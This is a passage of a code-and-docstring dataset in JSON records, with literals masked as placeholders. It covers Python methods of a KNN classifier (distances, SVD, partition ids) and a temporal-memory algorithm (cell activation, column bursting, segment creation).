{"signature": "def getPattern(self, idx, sparseBinaryForm=False, cat=None):", "body": "if cat is not None:<EOL><INDENT>assert idx is None<EOL>idx = self._categoryList.index(cat)<EOL><DEDENT>if not self.useSparseMemory:<EOL><INDENT>pattern = self._Memory[idx]<EOL>if sparseBinaryForm:<EOL><INDENT>pattern = pattern.nonzero()[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>(nz, values) = self._Memory.rowNonZeros(idx)<EOL>if not sparseBinaryForm:<EOL><INDENT>pattern = numpy.zeros(self._Memory.nCols())<EOL>numpy.put(pattern, nz, <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>pattern = nz<EOL><DEDENT><DEDENT>return pattern<EOL>", "docstring": "Gets a training pattern either by index or category number.\n\n        :param idx: Index of the training pattern\n\n        :param sparseBinaryForm: If true, returns a list of the indices of the\n            non-zero bits in the training pattern\n\n        :param cat: If not None, get the first pattern belonging to category cat. If\n            this is specified, idx must be None.\n\n        :returns: The training pattern with specified index", "id": "f17568:c0:m16"}
{"signature": "def getPartitionId(self, i):", "body": "if (i < <NUM_LIT:0>) or (i >= self._numPatterns):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>partitionId = self._partitionIdList[i]<EOL>if partitionId == numpy.inf:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return partitionId<EOL><DEDENT>", "docstring": "Gets the partition id given an index.\n\n:param i: index of partition\n:returns: the partition id associated with pattern i. Returns None if no id\n    is associated with it.", "id": "f17568:c0:m17"}
{"signature": "def getPartitionIdList(self):", "body": "return self._partitionIdList<EOL>", "docstring": ":returns: a list of complete partition id objects", "id": "f17568:c0:m18"}
{"signature": "def getNumPartitionIds(self):", "body": "return len(self._partitionIdMap)<EOL>", "docstring": ":returns: the number of unique partition Ids stored.", "id": "f17568:c0:m19"}
{"signature": "def getPartitionIdKeys(self):", "body": "return list(self._partitionIdMap.keys())<EOL>", "docstring": ":returns: a list containing unique (non-None) partition Ids (just the keys)", "id": "f17568:c0:m20"}
{"signature": "def getPatternIndicesWithPartitionId(self, partitionId):", "body": "return self._partitionIdMap.get(partitionId, [])<EOL>", "docstring": ":returns: a list of pattern indices corresponding to this partitionId.\n    Return an empty list if there are none.", "id": "f17568:c0:m21"}
{"signature": "def _addPartitionId(self, index, partitionId=None):", "body": "if partitionId is None:<EOL><INDENT>self._partitionIdList.append(numpy.inf)<EOL><DEDENT>else:<EOL><INDENT>self._partitionIdList.append(partitionId)<EOL>indices = self._partitionIdMap.get(partitionId, [])<EOL>indices.append(index)<EOL>self._partitionIdMap[partitionId] = indices<EOL><DEDENT>", "docstring": "Adds partition id for pattern index", "id": "f17568:c0:m22"}
{"signature": "def _rebuildPartitionIdMap(self, partitionIdList):", "body": "self._partitionIdMap = {}<EOL>for row, partitionId in enumerate(partitionIdList):<EOL><INDENT>indices = self._partitionIdMap.get(partitionId, [])<EOL>indices.append(row)<EOL>self._partitionIdMap[partitionId] = indices<EOL><DEDENT>", "docstring": "Rebuilds the partition Id map using the given partitionIdList", "id": "f17568:c0:m23"}
{"signature": "def _calcDistance(self, inputPattern, distanceNorm=None):", "body": "if distanceNorm is None:<EOL><INDENT>distanceNorm = self.distanceNorm<EOL><DEDENT>if self.useSparseMemory:<EOL><INDENT>if self._protoSizes is None:<EOL><INDENT>self._protoSizes = self._Memory.rowSums()<EOL><DEDENT>overlapsWithProtos = self._Memory.rightVecSumAtNZ(inputPattern)<EOL>inputPatternSum = inputPattern.sum()<EOL>if self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>dist = inputPattern.sum() - overlapsWithProtos<EOL><DEDENT>elif self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>dist = inputPatternSum - overlapsWithProtos<EOL>if inputPatternSum > <NUM_LIT:0>:<EOL><INDENT>dist /= inputPatternSum<EOL><DEDENT><DEDENT>elif self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>overlapsWithProtos /= self._protoSizes<EOL>dist = <NUM_LIT:1.0> - overlapsWithProtos<EOL><DEDENT>elif self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>maxVal = numpy.maximum(self._protoSizes, inputPatternSum)<EOL>if maxVal.all() > <NUM_LIT:0>:<EOL><INDENT>overlapsWithProtos /= maxVal<EOL><DEDENT>dist = <NUM_LIT:1.0> - overlapsWithProtos<EOL><DEDENT>elif self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>dist = self._Memory.vecLpDist(self.distanceNorm, inputPattern)<EOL>distMax = dist.max()<EOL>if distMax > <NUM_LIT:0>:<EOL><INDENT>dist /= distMax<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %<EOL>self.distanceMethod)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.distanceMethod == \"<STR_LIT>\":<EOL><INDENT>dist = numpy.power(numpy.abs(self._M - inputPattern), self.distanceNorm)<EOL>dist = dist.sum(<NUM_LIT:1>)<EOL>dist = numpy.power(dist, <NUM_LIT:1.0>/self.distanceNorm)<EOL>dist /= dist.max()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError (\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return dist<EOL>", "docstring": "Calculate the distances from inputPattern to all stored patterns. All\n        distances are between 0.0 and 1.0\n\n        :param inputPattern The pattern from which distances to all other patterns\n            are calculated\n\n        :param distanceNorm Degree of the distance norm", "id": "f17568:c0:m24"}
{"signature": "def _getDistances(self, inputPattern, partitionId=None):", "body": "if not self._finishedLearning:<EOL><INDENT>self.finishLearning()<EOL>self._finishedLearning = True<EOL><DEDENT>if self._vt is not None and len(self._vt) > <NUM_LIT:0>:<EOL><INDENT>inputPattern = numpy.dot(self._vt, inputPattern - self._mean)<EOL><DEDENT>sparseInput = self._sparsifyVector(inputPattern)<EOL>dist = self._calcDistance(sparseInput)<EOL>if self._specificIndexTraining:<EOL><INDENT>dist[numpy.array(self._categoryList) == -<NUM_LIT:1>] = numpy.inf<EOL><DEDENT>if partitionId is not None:<EOL><INDENT>dist[self._partitionIdMap.get(partitionId, [])] = numpy.inf<EOL><DEDENT>return dist<EOL>", "docstring": "Return the distances from inputPattern to all stored patterns.\n\n        :param inputPattern The pattern from which distances to all other patterns\n            are returned\n\n        :param partitionId If provided, ignore all training vectors with this\n            partitionId.", "id": "f17568:c0:m25"}
{"signature": "def finishLearning(self):", "body": "if self.numSVDDims is not None and self._vt is None:<EOL><INDENT>self.computeSVD()<EOL><DEDENT>", "docstring": "Used for batch scenarios.  This method needs to be called between learning\nand inference.", "id": "f17568:c0:m26"}
{"signature": "def computeSVD(self, numSVDSamples=<NUM_LIT:0>, finalize=True):", "body": "if numSVDSamples == <NUM_LIT:0>:<EOL><INDENT>numSVDSamples = self._numPatterns<EOL><DEDENT>if not self.useSparseMemory:<EOL><INDENT>self._a = self._Memory[:self._numPatterns]<EOL><DEDENT>else:<EOL><INDENT>self._a = self._Memory.toDense()[:self._numPatterns]<EOL><DEDENT>self._mean = numpy.mean(self._a, axis=<NUM_LIT:0>)<EOL>self._a -= self._mean<EOL>u,self._s,self._vt = numpy.linalg.svd(self._a[:numSVDSamples])<EOL>if finalize:<EOL><INDENT>self._finalizeSVD()<EOL><DEDENT>return self._s<EOL>", "docstring": "Compute the singular value decomposition (SVD). The SVD is a factorization\nof a real or complex matrix. It factors the matrix `a` as\n`u * np.diag(s) * v`, where `u` and `v` are unitary and `s` is a 1-d array\nof `a`'s singular values.\n\n**Reason for computing the SVD:**\n\nThere are cases where you want to feed a lot of vectors to the\nKNNClassifier. However, this can be slow. You can speed up training by (1)\ncomputing the SVD of the input patterns which will give you the\neigenvectors, (2) only keeping a fraction of the eigenvectors, and (3)\nprojecting the input patterns onto the remaining eigenvectors.\n\nNote that all input patterns are projected onto the eigenvectors in the same\nfashion. Keeping only the highest eigenvectors increases training\nperformance since it reduces the dimensionality of the input.\n\n:param numSVDSamples: (int) the number of samples to use for the SVD\n                      computation.\n\n:param finalize: (bool) whether to apply SVD to the input patterns.\n\n:returns: (array) The singular values for every matrix, sorted in\n           descending order.", "id": "f17568:c0:m27"}
{"signature": "def getAdaptiveSVDDims(self, singularValues, fractionOfMax=<NUM_LIT>):", "body": "v = singularValues/singularValues[<NUM_LIT:0>]<EOL>idx = numpy.where(v<fractionOfMax)[<NUM_LIT:0>]<EOL>if len(idx):<EOL><INDENT>print(\"<STR_LIT>\", idx[<NUM_LIT:0>], \"<STR_LIT>\", len(v))<EOL>return idx[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", len(v)-<NUM_LIT:1>, \"<STR_LIT>\", len(v))<EOL>return len(v)-<NUM_LIT:1><EOL><DEDENT>", "docstring": "Compute the number of eigenvectors (singularValues) to keep.\n\n:param singularValues:\n:param fractionOfMax:\n:return:", "id": "f17568:c0:m28"}
{"signature": "def _finalizeSVD(self, numSVDDims=None):", "body": "if numSVDDims is not None:<EOL><INDENT>self.numSVDDims = numSVDDims<EOL><DEDENT>if self.numSVDDims==\"<STR_LIT>\":<EOL><INDENT>if self.fractionOfMax is not None:<EOL><INDENT>self.numSVDDims = self.getAdaptiveSVDDims(self._s, self.fractionOfMax)<EOL><DEDENT>else:<EOL><INDENT>self.numSVDDims = self.getAdaptiveSVDDims(self._s)<EOL><DEDENT><DEDENT>if self._vt.shape[<NUM_LIT:0>] < self.numSVDDims:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", self._vt.shape[<NUM_LIT:0>])<EOL>print(\"<STR_LIT>\")<EOL>self.numSVDDims = self._vt.shape[<NUM_LIT:0>]<EOL><DEDENT>self._vt = self._vt[:self.numSVDDims]<EOL>if len(self._vt) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>self._Memory = numpy.zeros((self._numPatterns,self.numSVDDims))<EOL>self._M = self._Memory<EOL>self.useSparseMemory = False<EOL>for i in range(self._numPatterns):<EOL><INDENT>self._Memory[i] = numpy.dot(self._vt, self._a[i])<EOL><DEDENT>self._a = None<EOL>", "docstring": "Called by finalizeLearning(). This will project all the patterns onto the\nSVD eigenvectors.\n:param numSVDDims: (int) number of egeinvectors used for projection.\n:return:", "id": "f17568:c0:m29"}
{"signature": "def remapCategories(self, mapping):", "body": "categoryArray = numpy.array(self._categoryList)<EOL>newCategoryArray = numpy.zeros(categoryArray.shape[<NUM_LIT:0>])<EOL>newCategoryArray.fill(-<NUM_LIT:1>)<EOL>for i in range(len(mapping)):<EOL><INDENT>newCategoryArray[categoryArray==i] = mapping[i]<EOL><DEDENT>self._categoryList = list(newCategoryArray)<EOL>", "docstring": "Change the category indices.\n\n        Used by the Network Builder to keep the category indices in sync with the\n        ImageSensor categoryInfo when the user renames or removes categories.\n\n        :param mapping: List of new category indices. For example, mapping=[2,0,1]\n            would change all vectors of category 0 to be category 2, category 1 to\n            0, and category 2 to 1", "id": "f17568:c0:m30"}
{"signature": "def setCategoryOfVectors(self, vectorIndices, categoryIndices):", "body": "if not hasattr(vectorIndices, \"<STR_LIT>\"):<EOL><INDENT>vectorIndices = [vectorIndices]<EOL>categoryIndices = [categoryIndices]<EOL><DEDENT>elif not hasattr(categoryIndices, \"<STR_LIT>\"):<EOL><INDENT>categoryIndices = [categoryIndices] * len(vectorIndices)<EOL><DEDENT>for i in range(len(vectorIndices)):<EOL><INDENT>vectorIndex = vectorIndices[i]<EOL>categoryIndex = categoryIndices[i]<EOL>if vectorIndex < len(self._categoryList):<EOL><INDENT>self._categoryList[vectorIndex] = categoryIndex<EOL><DEDENT><DEDENT>", "docstring": "Change the category associated with this vector(s).\n\n        Used by the Network Builder to move vectors between categories, to enable\n        categories, and to invalidate vectors by setting the category to -1.\n\n        :param vectorIndices: Single index or list of indices\n\n        :param categoryIndices: Single index or list of indices. Can also be a\n            single index when vectorIndices is a list, in which case the same\n            category will be used for all vectors", "id": "f17568:c0:m31"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>return state<EOL>", "docstring": "Return serializable state.\n\n        This function will return a version of the __dict__.", "id": "f17568:c0:m35"}
{"signature": "def __setstate__(self, state):", "body": "if \"<STR_LIT:version>\" not in state:<EOL><INDENT>pass<EOL><DEDENT>elif state[\"<STR_LIT:version>\"] == <NUM_LIT:1>:<EOL><INDENT>pass<EOL><DEDENT>elif state[\"<STR_LIT:version>\"] == <NUM_LIT:2>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in state:<EOL><INDENT>state.pop(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" not in state:<EOL><INDENT>state[\"<STR_LIT>\"] = <NUM_LIT:0.0><EOL><DEDENT>self.__dict__.update(state)<EOL>if \"<STR_LIT>\" not in state:<EOL><INDENT>self._rebuildPartitionIdMap(self._partitionIdList)<EOL><DEDENT>self.version = KNNCLASSIFIER_VERSION<EOL>", "docstring": "Set the state of this object from a serialized state.", "id": "f17568:c0:m36"}
{"signature": "def importAndRunFunction(<EOL>path,<EOL>moduleName,<EOL>funcName,<EOL>**keywords<EOL>):", "body": "import sys<EOL>originalPath = sys.path<EOL>try:<EOL><INDENT>augmentedPath = [path] + sys.path<EOL>sys.path = augmentedPath<EOL>func = getattr(__import__(moduleName, fromlist=[funcName]), funcName)<EOL>sys.path = originalPath<EOL><DEDENT>except:<EOL><INDENT>sys.path = originalPath<EOL>raise<EOL><DEDENT>return func(**keywords)<EOL>", "docstring": "Run a named function specified by a filesystem path, module name\nand function name.\n\nReturns the value returned by the imported function.\n\nUse this when access is needed to code that has\nnot been added to a package accessible from the ordinary Python\npath. Encapsulates the multiple lines usually needed to\nsafely manipulate and restore the Python path.\n\nParameters\n----------\npath: filesystem path\nPath to the directory where the desired module is stored.\nThis will be used to temporarily augment the Python path.\n\nmoduleName: basestring\nName of the module, without trailing extension, where the desired\nfunction is stored. This module should be in the directory specified\nwith path.\n\nfuncName: basestring\nName of the function to import and call.\n\nkeywords:\nKeyword arguments to be passed to the imported function.", "id": "f17569:m0"}
{"signature": "def getLockedHandle(runtimeElement, expression):", "body": "fullExpression = '<STR_LIT>''<STR_LIT>' + expression + '<STR_LIT>'<EOL>return runtimeElement.interpret(fullExpression)<EOL>", "docstring": "Calls runtimeElement.interpret(expression) and wraps the result\nin a call to nupic.bindings.research.lockHandle().", "id": "f17569:m1"}
{"signature": "def transferCoincidences(network, fromElementName, toElementName):", "body": "coincidenceHandle = getLockedHandle(<EOL>runtimeElement=network.getElement(fromElementName),<EOL>expression=\"<STR_LIT>\"<EOL>)<EOL>network.getElement(toElementName).setParameter(\"<STR_LIT>\",<EOL>coincidenceHandle)<EOL>", "docstring": "Gets the coincidence matrix from one element and sets it on\nanother element\n(using locked handles, a la nupic.bindings.research.lockHandle).\n\nTODO: Generalize to more node types, parameter name pairs, etc.\n\nDoes not work across processes.", "id": "f17569:m2"}
{"signature": "def __init__(self,<EOL>columnDimensions=(<NUM_LIT>,),<EOL>cellsPerColumn=<NUM_LIT:32>,<EOL>activationThreshold=<NUM_LIT>,<EOL>initialPermanence=<NUM_LIT>,<EOL>connectedPermanence=<NUM_LIT>,<EOL>minThreshold=<NUM_LIT:10>,<EOL>maxNewSynapseCount=<NUM_LIT:20>,<EOL>permanenceIncrement=<NUM_LIT>,<EOL>permanenceDecrement=<NUM_LIT>,<EOL>seed=<NUM_LIT>):", "body": "numberOfCols = <NUM_LIT:1><EOL>for n in columnDimensions:<EOL><INDENT>numberOfCols *= n<EOL><DEDENT>super(TemporalMemoryShim, self).__init__(<EOL>numberOfCols=numberOfCols,<EOL>cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPermanence,<EOL>connectedPerm=connectedPermanence,<EOL>minThreshold=minThreshold,<EOL>newSynapseCount=maxNewSynapseCount,<EOL>permanenceInc=permanenceIncrement,<EOL>permanenceDec=permanenceDecrement,<EOL>permanenceMax=<NUM_LIT:1.0>,<EOL>globalDecay=<NUM_LIT:0>,<EOL>activationThreshold=activationThreshold,<EOL>seed=seed)<EOL>self.connections = Connections(numberOfCols * cellsPerColumn)<EOL>self.predictiveCells = set()<EOL>", "docstring": "Translate parameters and initialize member variables\nspecific to TemporalMemory", "id": "f17570:c0:m0"}
{"signature": "def compute(self, activeColumns, learn=True):", "body": "bottomUpInput = numpy.zeros(self.numberOfCols, dtype=dtype)<EOL>bottomUpInput[list(activeColumns)] = <NUM_LIT:1><EOL>super(TemporalMemoryShim, self).compute(bottomUpInput,<EOL>enableLearn=learn,<EOL>enableInference=True)<EOL>predictedState = self.getPredictedState()<EOL>self.predictiveCells = set(numpy.flatnonzero(predictedState))<EOL>", "docstring": "Feeds input record through TM, performing inference and learning.\nUpdates member variables with new state.\n\n@param activeColumns (set) Indices of active columns in `t`", "id": "f17570:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "tm = super(TemporalMemoryShim, cls).read(proto.baseTM)<EOL>tm.predictiveCells = set(proto.predictedState)<EOL>tm.connections = Connections.read(proto.conncetions)<EOL>", "docstring": "Deserialize from proto instance.\n\n        :param proto: (TemporalMemoryShimProto) the proto instance to read from", "id": "f17570:c0:m3"}
{"signature": "def write(self, proto):", "body": "super(TemporalMemoryShim, self).write(proto.baseTM)<EOL>proto.connections.write(self.connections)<EOL>proto.predictiveCells = self.predictiveCells<EOL>", "docstring": "Populate serialization proto instance.\n\n        :param proto: (TemporalMemoryShimProto) the proto instance to populate", "id": "f17570:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def connectionsFactory(*args, **kwargs):<DEDENT>", "body": "return Connections(*args, **kwargs)<EOL>", "docstring": "Create a :class:`~nupic.algorithms.connections.Connections` instance.  \n:class:`TemporalMemory` subclasses may override this method to choose a \ndifferent :class:`~nupic.algorithms.connections.Connections` implementation, \nor to augment the instance otherwise returned by the default \n:class:`~nupic.algorithms.connections.Connections` implementation.\n\nSee :class:`~nupic.algorithms.connections.Connections` for constructor \nsignature and usage.\n\n:returns: :class:`~nupic.algorithms.connections.Connections` instance", "id": "f17571:c0:m1"}
{"signature": "def compute(self, activeColumns, learn=True):", "body": "self.activateCells(sorted(activeColumns), learn)<EOL>self.activateDendrites(learn)<EOL>", "docstring": "Perform one time step of the Temporal Memory algorithm.\n\nThis method calls :meth:`activateCells`, then calls \n:meth:`activateDendrites`. Using :class:`TemporalMemory` via its \n:meth:`compute` method ensures that you'll always be able to call \n:meth:`getPredictiveCells` to get predictions for the next time step.\n\n:param activeColumns: (iter) Indices of active columns.\n\n:param learn: (bool) Whether or not learning is enabled.", "id": "f17571:c0:m2"}
{"signature": "def activateCells(self, activeColumns, learn=True):", "body": "prevActiveCells = self.activeCells<EOL>prevWinnerCells = self.winnerCells<EOL>self.activeCells = []<EOL>self.winnerCells = []<EOL>segToCol = lambda segment: int(segment.cell / self.cellsPerColumn)<EOL>identity = lambda x: x<EOL>for columnData in groupby2(activeColumns, identity,<EOL>self.activeSegments, segToCol,<EOL>self.matchingSegments, segToCol):<EOL><INDENT>(column,<EOL>activeColumns,<EOL>columnActiveSegments,<EOL>columnMatchingSegments) = columnData<EOL>if activeColumns is not None:<EOL><INDENT>if columnActiveSegments is not None:<EOL><INDENT>cellsToAdd = self.activatePredictedColumn(column,<EOL>columnActiveSegments,<EOL>columnMatchingSegments,<EOL>prevActiveCells,<EOL>prevWinnerCells,<EOL>learn)<EOL>self.activeCells += cellsToAdd<EOL>self.winnerCells += cellsToAdd<EOL><DEDENT>else:<EOL><INDENT>(cellsToAdd,<EOL>winnerCell) = self.burstColumn(column,<EOL>columnMatchingSegments,<EOL>prevActiveCells,<EOL>prevWinnerCells,<EOL>learn)<EOL>self.activeCells += cellsToAdd<EOL>self.winnerCells.append(winnerCell)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if learn:<EOL><INDENT>self.punishPredictedColumn(column,<EOL>columnActiveSegments,<EOL>columnMatchingSegments,<EOL>prevActiveCells,<EOL>prevWinnerCells)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Calculate the active cells, using the current active columns and dendrite\nsegments. Grow and reinforce synapses.\n\n:param activeColumns: (iter) A sorted list of active column indices.\n\n:param learn: (bool) If true, reinforce / punish / grow synapses.\n\n  **Pseudocode:**\n\n  ::\n\n    for each column\n      if column is active and has active distal dendrite segments\n        call activatePredictedColumn\n      if column is active and doesn't have active distal dendrite segments\n        call burstColumn\n      if column is inactive and has matching distal dendrite segments\n        call punishPredictedColumn", "id": "f17571:c0:m3"}
{"signature": "def activateDendrites(self, learn=True):", "body": "(numActiveConnected,<EOL>numActivePotential) = self.connections.computeActivity(<EOL>self.activeCells,<EOL>self.connectedPermanence)<EOL>activeSegments = (<EOL>self.connections.segmentForFlatIdx(i)<EOL>for i in xrange(len(numActiveConnected))<EOL>if numActiveConnected[i] >= self.activationThreshold<EOL>)<EOL>matchingSegments = (<EOL>self.connections.segmentForFlatIdx(i)<EOL>for i in xrange(len(numActivePotential))<EOL>if numActivePotential[i] >= self.minThreshold<EOL>)<EOL>self.activeSegments = sorted(activeSegments,<EOL>key=self.connections.segmentPositionSortKey)<EOL>self.matchingSegments = sorted(matchingSegments,<EOL>key=self.connections.segmentPositionSortKey)<EOL>self.numActiveConnectedSynapsesForSegment = numActiveConnected<EOL>self.numActivePotentialSynapsesForSegment = numActivePotential<EOL>if learn:<EOL><INDENT>for segment in self.activeSegments:<EOL><INDENT>self.lastUsedIterationForSegment[segment.flatIdx] = self.iteration<EOL><DEDENT>self.iteration += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Calculate dendrite segment activity, using the current active cells.\n\n:param learn: (bool) If true, segment activations will be recorded. This \n       information is used during segment cleanup.\n\n**Pseudocode:**\n\n::\n\n  for each distal dendrite segment with activity >= activationThreshold\n    mark the segment as active\n  for each distal dendrite segment with unconnected activity >= minThreshold\n    mark the segment as matching", "id": "f17571:c0:m4"}
{"signature": "def reset(self):", "body": "self.activeCells = []<EOL>self.winnerCells = []<EOL>self.activeSegments = []<EOL>self.matchingSegments = []<EOL>", "docstring": "Indicates the start of a new sequence. Clears any predictions and makes sure\nsynapses don't grow to the currently active cells in the next time step.", "id": "f17571:c0:m5"}
{"signature": "def activatePredictedColumn(self, column, columnActiveSegments,<EOL>columnMatchingSegments, prevActiveCells,<EOL>prevWinnerCells, learn):", "body": "return self._activatePredictedColumn(<EOL>self.connections, self._random,<EOL>columnActiveSegments, prevActiveCells, prevWinnerCells,<EOL>self.numActivePotentialSynapsesForSegment,<EOL>self.maxNewSynapseCount, self.initialPermanence,<EOL>self.permanenceIncrement, self.permanenceDecrement,<EOL>self.maxSynapsesPerSegment, learn)<EOL>", "docstring": "Determines which cells in a predicted column should be added to winner cells\nlist, and learns on the segments that correctly predicted this column.\n\n:param column: (int) Index of bursting column.\n\n:param columnActiveSegments: (iter) Active segments in this column.\n\n:param columnMatchingSegments: (iter) Matching segments in this column.\n\n:param prevActiveCells: (list) Active cells in ``t-1``.\n\n:param prevWinnerCells: (list) Winner cells in ``t-1``.\n\n:param learn: (bool) If true, grow and reinforce synapses.\n\n:returns: (list) A list of predicted cells that will be added to \n          active cells and winner cells.", "id": "f17571:c0:m6"}
{"signature": "def burstColumn(self, column, columnMatchingSegments, prevActiveCells,<EOL>prevWinnerCells, learn):", "body": "start = self.cellsPerColumn * column<EOL>cellsForColumn = xrange(start, start + self.cellsPerColumn)<EOL>return self._burstColumn(<EOL>self.connections, self._random, self.lastUsedIterationForSegment, column,<EOL>columnMatchingSegments, prevActiveCells, prevWinnerCells, cellsForColumn,<EOL>self.numActivePotentialSynapsesForSegment, self.iteration,<EOL>self.maxNewSynapseCount, self.initialPermanence, self.permanenceIncrement,<EOL>self.permanenceDecrement, self.maxSegmentsPerCell,<EOL>self.maxSynapsesPerSegment, learn)<EOL>", "docstring": "Activates all of the cells in an unpredicted active column, chooses a winner\ncell, and, if learning is turned on, learns on one segment, growing a new\nsegment if necessary.\n\n:param column: (int) Index of bursting column.\n\n:param columnMatchingSegments: (iter) Matching segments in this column, or \n       None if there aren't any.\n\n:param prevActiveCells: (list) Active cells in ``t-1``.\n\n:param prevWinnerCells: (list) Winner cells in ``t-1``.\n\n:param learn: (bool) Whether or not learning is enabled.\n\n:returns: (tuple) Contains (``cells`` [iter], ``winnerCell`` [int])", "id": "f17571:c0:m7"}
{"signature": "def punishPredictedColumn(self, column, columnActiveSegments,<EOL>columnMatchingSegments, prevActiveCells,<EOL>prevWinnerCells):", "body": "self._punishPredictedColumn(<EOL>self.connections, columnMatchingSegments, prevActiveCells,<EOL>self.predictedSegmentDecrement)<EOL>", "docstring": "Punishes the Segments that incorrectly predicted a column to be active.\n\n:param column: (int) Index of bursting column.\n\n:param columnActiveSegments: (iter) Active segments for this column, or None \n       if there aren't any.\n\n:param columnMatchingSegments: (iter) Matching segments for this column, or \n       None if there aren't any.\n\n:param prevActiveCells: (list) Active cells in ``t-1``.\n\n:param prevWinnerCells: (list) Winner cells in ``t-1``.", "id": "f17571:c0:m8"}
{"signature": "def createSegment(self, cell):", "body": "return self._createSegment(<EOL>self.connections, self.lastUsedIterationForSegment, cell, self.iteration,<EOL>self.maxSegmentsPerCell)<EOL>", "docstring": "Create a :class:`~nupic.algorithms.connections.Segment` on the specified \ncell. This method calls \n:meth:`~nupic.algorithms.connections.Connections.createSegment` on the \nunderlying :class:`~nupic.algorithms.connections.Connections`, and it does \nsome extra bookkeeping. Unit tests should call this method, and not \n:meth:`~nupic.algorithms.connections.Connections.createSegment`.\n\n:param cell: (int) Index of cell to create a segment on.\n\n:returns: (:class:`~nupic.algorithms.connections.Segment`) The created \n          segment.", "id": "f17571:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def _activatePredictedColumn(cls, connections, random, columnActiveSegments,<EOL>prevActiveCells, prevWinnerCells,<EOL>numActivePotentialSynapsesForSegment,<EOL>maxNewSynapseCount, initialPermanence,<EOL>permanenceIncrement, permanenceDecrement,<EOL>maxSynapsesPerSegment, learn):<DEDENT>", "body": "cellsToAdd = []<EOL>previousCell = None<EOL>for segment in columnActiveSegments:<EOL><INDENT>if segment.cell != previousCell:<EOL><INDENT>cellsToAdd.append(segment.cell)<EOL>previousCell = segment.cell<EOL><DEDENT>if learn:<EOL><INDENT>cls._adaptSegment(connections, segment, prevActiveCells,<EOL>permanenceIncrement, permanenceDecrement)<EOL>active = numActivePotentialSynapsesForSegment[segment.flatIdx]<EOL>nGrowDesired = maxNewSynapseCount - active<EOL>if nGrowDesired > <NUM_LIT:0>:<EOL><INDENT>cls._growSynapses(connections, random, segment, nGrowDesired,<EOL>prevWinnerCells, initialPermanence,<EOL>maxSynapsesPerSegment)<EOL><DEDENT><DEDENT><DEDENT>return cellsToAdd<EOL>", "docstring": ":param connections: (Object)\nConnections for the TM. Gets mutated.\n\n:param random: (Object)\nRandom number generator. Gets mutated.\n\n:param columnActiveSegments: (iter)\nActive segments in this column.\n\n:param prevActiveCells: (list)\nActive cells in `t-1`.\n\n:param prevWinnerCells: (list)\nWinner cells in `t-1`.\n\n:param numActivePotentialSynapsesForSegment: (list)\nNumber of active potential synapses per segment, indexed by the segment's\nflatIdx.\n\n:param maxNewSynapseCount: (int)\nThe maximum number of synapses added to a segment during learning\n\n:param initialPermanence: (float)\nInitial permanence of a new synapse.\n\n@permanenceIncrement (float)\nAmount by which permanences of synapses are incremented during learning.\n\n@permanenceDecrement (float)\nAmount by which permanences of synapses are decremented during learning.\n\n:param maxSynapsesPerSegment: (int)\nThe maximum number of synapses per segment.\n\n:param learn: (bool)\nIf true, grow and reinforce synapses.\n\n:returns: cellsToAdd (list)\nA list of predicted cells that will be added to active cells and winner\ncells.\n\nPseudocode:\nfor each cell in the column that has an active distal dendrite segment\n  mark the cell as active\n  mark the cell as a winner cell\n  (learning) for each active distal dendrite segment\n    strengthen active synapses\n    weaken inactive synapses\n    grow synapses to previous winner cells", "id": "f17571:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def _burstColumn(cls, connections, random, lastUsedIterationForSegment,<EOL>column, columnMatchingSegments, prevActiveCells,<EOL>prevWinnerCells, cellsForColumn,<EOL>numActivePotentialSynapsesForSegment, iteration,<EOL>maxNewSynapseCount, initialPermanence, permanenceIncrement,<EOL>permanenceDecrement, maxSegmentsPerCell,<EOL>maxSynapsesPerSegment, learn):<DEDENT>", "body": "if columnMatchingSegments is not None:<EOL><INDENT>numActive = lambda s: numActivePotentialSynapsesForSegment[s.flatIdx]<EOL>bestMatchingSegment = max(columnMatchingSegments, key=numActive)<EOL>winnerCell = bestMatchingSegment.cell<EOL>if learn:<EOL><INDENT>cls._adaptSegment(connections, bestMatchingSegment, prevActiveCells,<EOL>permanenceIncrement, permanenceDecrement)<EOL>nGrowDesired = maxNewSynapseCount - numActive(bestMatchingSegment)<EOL>if nGrowDesired > <NUM_LIT:0>:<EOL><INDENT>cls._growSynapses(connections, random, bestMatchingSegment,<EOL>nGrowDesired, prevWinnerCells, initialPermanence,<EOL>maxSynapsesPerSegment)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>winnerCell = cls._leastUsedCell(random, cellsForColumn, connections)<EOL>if learn:<EOL><INDENT>nGrowExact = min(maxNewSynapseCount, len(prevWinnerCells))<EOL>if nGrowExact > <NUM_LIT:0>:<EOL><INDENT>segment = cls._createSegment(connections,<EOL>lastUsedIterationForSegment, winnerCell,<EOL>iteration, maxSegmentsPerCell)<EOL>cls._growSynapses(connections, random, segment, nGrowExact,<EOL>prevWinnerCells, 